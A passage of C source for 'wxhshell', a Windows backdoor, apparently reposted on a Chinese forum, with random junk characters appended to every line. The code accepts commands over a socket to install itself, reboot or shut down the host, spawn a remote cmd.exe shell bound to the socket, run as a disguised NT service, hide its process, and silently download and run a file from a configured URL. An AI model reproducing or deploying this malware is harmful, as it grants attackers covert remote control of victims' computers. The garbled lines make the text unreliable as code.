  } 7fVlA"x  
  else { . C g2Y  
TTS.wBpR,  
    switch(cmd[0]) { %>dCAj"  
  u7_IO  
  // 帮助 U;Iqz1S  
  case '?': { ^^u{W|'CaH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hPs7mnSW  
    break; eY)JuJ?  
  } 03WLVP@  
  // 安装 ewNzRH,b  
  case 'i': { ]wH,534  
    if(Install()) bZ-"R 6a$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #}/YnVk  
    else ?R7>xrp5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xQ[~ c1  
    break; ZfPWH'P  
    } U>bmCK2  
  // 卸载 )575JY `6K  
  case 'r': { i?.7o*w8  
    if(Uninstall()) I Xm}WTgF!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G@YX8!w U  
    else V &K:~[M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #1INOR9  
    break; 5B&#Sh`r  
    } uM!$`JN  
  // 显示 wxhshell 所在路径 '[E|3K5d  
  case 'p': { (]JZ1s|  
    char svExeFile[MAX_PATH]; or?@Ti;  
    strcpy(svExeFile,"\n\r"); Vv"JN?dHi  
      strcat(svExeFile,ExeFile); FKTdQg|NZ  
        send(wsh,svExeFile,strlen(svExeFile),0); J}Q4.1WG$  
    break; *hhPCYOm  
    } LL|uMe"Jb  
  // 重启 8 JOfx  
  case 'b': { 'y(;:Kc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ea"!:cL(g  
    if(Boot(REBOOT)) o"^+i#H!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b51{sL  
    else {  V Ae@P  
    closesocket(wsh); B0_[bQoc1  
    ExitThread(0); Ck71N3~W  
    } s*"Yi~  
    break; O~E6"v Q  
    } 334UMH__  
  // 关机 y\=(;]S'  
  case 'd': { V'kCd4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D(EY"s37  
    if(Boot(SHUTDOWN)) sFd"VRAV~E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "|{3V:e>a  
    else { < r6e23  
    closesocket(wsh); av-l_iE  
    ExitThread(0); {s=n "*Qp)  
    } zG\g{cB  
    break; 2~:jg1  
    } E5-f{Qc  
  // 获取shell dQ&S&SW  
  case 's': { f L @rv  
    CmdShell(wsh);  .AEOf0t  
    closesocket(wsh); ZG=B'4W  
    ExitThread(0); X67.%>#3  
    break; ]}4{|& e  
  } wv.FL$f[@  
  // 退出 udRum7XW 3  
  case 'x': { l>l)m-;O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aNZJs<3;'D  
    CloseIt(wsh);  3kAmRU  
    break; ?^F*M#%?  
    } m!{}Y]FZn  
  // 离开 I)wjTTM5  
  case 'q': { 5|&:l8=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s0,\[rM  
    closesocket(wsh); Oeua<,]Z~  
    WSACleanup(); 4WK@ap-~  
    exit(1); BUH~aV  
    break; KmuE#Ia  
        } ~Wh} W((L  
  } G~,K$z/-l  
  } (~YFm"S  
_{.=zv|3  
  // 提示信息 5hNjJqu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $ O1w 6\}_  
} x?hdC)#DWI  
  } bU`Ih# q  
Vb${Oy+  
  return; PQl a-  
} Mx ?{[zT"  
Sq9I]A  
// shell模块句柄 \/rK0|2A  
int CmdShell(SOCKET sock) Gp=X1 F  
{ B;SN}I  
STARTUPINFO si; ;B%NFvG  
ZeroMemory(&si,sizeof(si)); h, |49~^@"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s%tPGjMq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8"!Z^_y)  
PROCESS_INFORMATION ProcessInfo; l2v4SvbX  
char cmdline[]="cmd"; s|7(VUPL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;>*l?m-S@n  
  return 0; OBGA~E;%  
} 3t  
E,6(/`0H*  
// 自身启动模式 >Ab>"!/'K  
int StartFromService(void) DqgYc[UGA  
{ yo)a_rY  
typedef struct d/Q}I[J.u  
{ kF:4 [d  
  DWORD ExitStatus; Wa#!O$u  
  DWORD PebBaseAddress; Qr`WPTQr"  
  DWORD AffinityMask; VE4Z;Dr"  
  DWORD BasePriority; ,|gX?[o  
  ULONG UniqueProcessId; /O"IA4O  
  ULONG InheritedFromUniqueProcessId; vn n4  
}   PROCESS_BASIC_INFORMATION; 2?3D` `  
.&:GO D  
PROCNTQSIP NtQueryInformationProcess; |ITSd%`3_  
z^s40707x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; + y!B`'J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~#X,)L{y7v  
iI_ad7,u  
  HANDLE             hProcess; l3Vw?f   
  PROCESS_BASIC_INFORMATION pbi; 8 *@knkJ  
mZ;W$y SO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zWiM l.[  
  if(NULL == hInst ) return 0; *9"L?S(X#  
i ! wzID  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =^. f)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nSH A,c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [al,UO  
#"}Z'|X*  
  if (!NtQueryInformationProcess) return 0; s : c  
yZf+*j/a7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (<ybst6+I  
  if(!hProcess) return 0; ?b',kN,(  
az7<@vSXi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /0(2PVf y  
GO@pwq<  
  CloseHandle(hProcess); l~.}#$P]  
x`'2oz=,F4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pWo`iM& F  
if(hProcess==NULL) return 0; 5t6!K?}  
3L24|-GxH  
HMODULE hMod; &5&C   
char procName[255]; )^+v*=Dc-i  
unsigned long cbNeeded; '}a[9v76  
}s;W{Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ny:c&XS  
Lp\89tB>  
  CloseHandle(hProcess); &]VCZQL  
fM jn8.  
if(strstr(procName,"services")) return 1; // 以服务启动 3zJbb3e  
ZN)a}\]  
  return 0; // 注册表启动 %G9: M;|'  
} =>ooB/  
F(E3U'G  
// 主模块 ?#@JH  
int StartWxhshell(LPSTR lpCmdLine) D:Zpls.  
{ TGxspmY6  
  SOCKET wsl; *wW/nr=\;  
BOOL val=TRUE; &gc8"B@V  
  int port=0; l6b3i v,  
  struct sockaddr_in door; VFN\ Ryd  
!ndc <],  
  if(wscfg.ws_autoins) Install(); @";z?xj  
uHdrHP  
port=atoi(lpCmdLine); 4;;F(yk8  
yb BLBJb  
if(port<=0) port=wscfg.ws_port; XcJ'w  
O@U[S.IK  
  WSADATA data; #pJ^w>YNy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J-g#zs  
EUdu"'=4a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7+aTrE{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /kLX f_  
  door.sin_family = AF_INET; n8"S;:Zm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ba/Z<1)  
  door.sin_port = htons(port); RYMOLX84  
J-lQPMI,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ARYqX\-e  
closesocket(wsl); 41%B%K*  
return 1; q_Td!?2?  
} 2Up1 FFRx  
;$W/le"Xr  
  if(listen(wsl,2) == INVALID_SOCKET) { +O23@G?x  
closesocket(wsl); |xaJv:96%  
return 1; Mf0g)X}1  
} T:Dp+m!\{  
  Wxhshell(wsl); 'tK5s>gv<  
  WSACleanup(); se](hu~w  
;czMsHu0X  
return 0; iqCKVo7:M  
1 O+4A[cr  
} o"@y=n/  
d )|{iUcW  
// 以NT服务方式启动 }'{39vc .  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }zVPdBRfm  
{ ADRjCk}I  
DWORD   status = 0; nGA'\+zj L  
  DWORD   specificError = 0xfffffff; 8;7Y}c  
v#0R   
  serviceStatus.dwServiceType     = SERVICE_WIN32; q#B^yk|Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >'eOzMBn  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v%3mhk#  
  serviceStatus.dwWin32ExitCode     = 0; 89KX.d  
  serviceStatus.dwServiceSpecificExitCode = 0; d,au&WZ;_  
  serviceStatus.dwCheckPoint       = 0; EzY?=<Y(  
  serviceStatus.dwWaitHint       = 0; 7G}vQO  
za7h.yK}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;J pdnV  
  if (hServiceStatusHandle==0) return; JsOPI ]  
X ^>o/U  
status = GetLastError(); oo7&.HWf  
  if (status!=NO_ERROR) Ee>P*7*jB  
{ h+|3\>/@9{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DsY-JBDvoz  
    serviceStatus.dwCheckPoint       = 0; MGIpo[  
    serviceStatus.dwWaitHint       = 0; =tl[?6  
    serviceStatus.dwWin32ExitCode     = status; s}A)sBsaP3  
    serviceStatus.dwServiceSpecificExitCode = specificError; W#|]m=2W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?}sh@;]*h  
    return; yG58?5\9  
  } #5O'XH5_  
V%&t'H{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; DG1  >T  
  serviceStatus.dwCheckPoint       = 0; Xg.'<.!g0  
  serviceStatus.dwWaitHint       = 0; /E(H`;DG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2XrPgq'  
} "Iu[)O%  
=9n$ at$l@  
// 处理NT服务事件,比如:启动、停止 &9\z!r6mc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "/hM&  
{ x Yr-,$/  
switch(fdwControl) E!'H,#"P  
{ J) v~  
case SERVICE_CONTROL_STOP: _#9:cH*  
  serviceStatus.dwWin32ExitCode = 0; 0~RsdQGqC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U7J0&  
  serviceStatus.dwCheckPoint   = 0; KC o<%  
  serviceStatus.dwWaitHint     = 0; Y-&r_s_~  
  { { 'Hi_b3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fa^5.p  
  } i](,s.  
  return; cs`/^2Vf"#  
case SERVICE_CONTROL_PAUSE: Y."ujo#bB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %a+X\\v2  
  break; j~V@0z.  
case SERVICE_CONTROL_CONTINUE: Ea1{9> S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "+s#!Fh *  
  break; bJe*J\){  
case SERVICE_CONTROL_INTERROGATE: ~c[} %Ir>  
  break; _Jj/"?  
}; 2}]6~i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AY:3o3M  
} 8 f%@:}H  
` 1DJwe2  
// 标准应用程序主函数 ?RvXO'ml  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VE^NSk Oa&  
{ _:0<]<x?  
 }5bh,'  
// 获取操作系统版本 {rGq|Bj  
OsIsNt=GetOsVer(); #(h~l> r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )eGGA6G  
}GsZ)\!$4  
  // 从命令行安装 H ~1laV  
  if(strpbrk(lpCmdLine,"iI")) Install(); >b,o yM  
dN;kYWRK  
  // 下载执行文件 &'Qz  
if(wscfg.ws_downexe) { }uWJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wNDLN`,^H  
  WinExec(wscfg.ws_filenam,SW_HIDE); g^8dDY[%  
} ]4\^>  
`LH!"M  
if(!OsIsNt) { -2|D( sO  
// 如果时win9x,隐藏进程并且设置为注册表启动 WKX5Dl  
HideProc(); cO<]%L0  
StartWxhshell(lpCmdLine); 57IrD*{  
} \v]}  
else wRb%-s  
  if(StartFromService()) y&9S+  
  // 以服务方式启动 _)2.#L  
  StartServiceCtrlDispatcher(DispatchTable); zc]F  
else j>eL&.d  
  // 普通方式启动 ~j 3B'  
  StartWxhshell(lpCmdLine); Yqmx]7Y4  
#NNj#  
return 0; >joGG T  
}
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只看该作者 1 发表于: 2006-10-10
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